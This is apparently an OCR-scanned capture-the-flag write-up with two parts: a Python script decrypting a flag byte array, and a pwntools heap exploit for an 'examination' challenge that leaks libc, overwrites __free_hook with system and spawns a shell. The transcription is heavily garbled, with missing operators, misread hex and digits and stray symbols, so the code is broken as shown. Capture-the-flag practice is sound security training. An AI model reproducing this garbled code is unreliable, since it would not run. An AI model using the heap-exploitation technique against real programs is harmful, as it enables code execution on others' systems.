19 *ws = (*v5 3> 5) | (8 * *v5);

28

21| return 8LL;

22} CSDN GEDIgEE
v4 = OXDEEDBEEF

a2 =0x1000
ANt FATBEAR SR N e 1 BATHEAT A A CTR LN SR )5 4% 2lflag SO HL 1 #4534 5
S EIR BN

Ox00, OxD2, OxFC, oxD8, OxA2, OxDA, OxBA, Ox9E, ©x9C, 0x26, OxF8, OxF6, OxB4, OxCE, Ox3C, oOxCC, Ox96, Ox88, Ox98

, Ox34, Ox82, OxDE, Ox80, Ox36, Ox8A, OxDS, OxCO, OxFO, Ox38, OXAE, Ox40

exp




data = [0x00, OxD2, OXFC, OxD8, OxA2, OxDA, OxBA, Ox9E, Ox9C, Ox26, OxF8, OxF6, OxB4, OxCE, Ox3C, OXCC, Ox96, OX
88, Ox98, Ox34, Ox82, OXDE, Ox80, Ox36, Ox8A, OxD8, OxCO, OxFO, Ox38, OXAE, 0x40]
v4 = [OXEF, OXBE, OXED, OXDE]
def dcry(data,v4):

for i in range(len(data)):

v5 data[i]

v5 (v5 3) ) 5)

v5 v4[3]

v5 (v5 4) (v5 4)

v5 va[2]

v5 (v5 5) (v5 3)

v5 v4[1]

v5 (v5 6) ) 2)

v5 v4[0]

v5 (v5 7) (v5

data[i] v5

data

flag = dcry(data,v4)
print(flag)
print(''.join(map(chr,flag)))

PS D:\AE[M\E HCTF\Simple File System> python exp.py

[42, 67, 84, 70, 123, 71, 119, 1@1, 1ee, 57, 86, 81, 112, 77, 52, 76, 97, 118, 102, 48, 187, 69, 186, ﬁlEDPE%SZ
, 54, 125, 18]

*CTF{Gwed9VQpM4LanfekEjloFIR6}

Pwn

examination

import sys
import os
import requests

from pwn import *

%binary)
context.update( os , arch ,timeout
context.binary binary
context.log level
elf ELF(binary)
libc = elf.libc

process(binary)

remote(host,port)
lambda ras(u64(p.recvuntil( )[-6:].1just(8,
lambda ras(u32(p.recvuntil( )[-4:].1just(4,
lambda ras(u64(p.recv(a).ljust(s, )))
lambda ras(u32(p.recv(a).ljust(4, )))
lambda ras(int( p.recv(x) , 16))
lambda p.sendlineafter(str(a),str(b))
lambda




lambda name,data .success(name +
lambda payload .send(payload)
lambda .recv()
lambda payload .sendline(payload)
lambda a .recvuntil(str(a))
ras( data ):
1g( , data)
data
dbg( b null):
if (b null):
gdb.attach(p)
pause()
else:
gdb.attach(p,
cmd(num) :
sla( ,num)
tch_to_std():
cmd(5)
sla(
std_to_tch():
cmd(5)
sla(
add_std(num):
cmd (1)
sla(
score():
cmd(2)
one_add(addr):
cmd(2)
sla( , addr)
add_cmt(idx , size , text
cmd(3)
sla( , idx)
sla(
sa(
edit_cmt(idx , text
cmd(3)
sla( , idx)
sa(
delete(idx ):
cmd(4)
sla( , idx)
chid(idx ):
cmd(6)
sla( , idx)

attack():
sla(
add_std(1)

(
add_cmt (0, 0x18)
add_std(1)
add_cmt (1, ox3f8)
add_std(1)
add_std(1)
tch_to_std()
cmd(3)
chid(1)
cmd(3)
std_to_tch()




score()

tch_to_std()

cmd(2)

ru( )

heap_base rint() oxfffffffffooo

1g( , heap_base)

sla( , str(heap_base +0x2e0) +
chid(1)

one_add(str(heap_base +0x2e0) +
std_to_tch()

edit cmt(o , *9x18 + pl6(0x400 + Ox50 + 1))
delete(1)

add_std(1)

add_cmt(2, 0x3f8)

edit _cmt(o , *9x18 + pl6(0x400 + Ox50 + 1))
delete(3)

add_std(1)

tch_to_std()

chid(2)

score()

__malloc_hook = 164() - ©x70
libc.address = __malloc_hook - libc.sym[
system_addr libc.sym[ ]
__free_hook = libc.sym[

binsh_addr = libc.search(

1g( ,__Tree_hook)
std_to_tch()

add_std(1)

payload flat(
heap_base + 0x390 , 0,
0,0,
0,0x21,
1, free_hook-0x8,
0x20
)
edit_cmt(2 , payload)
edit_cmt(4 , flat( , system_addr ))
delete(4)

p.interactive()
attack()

Tip
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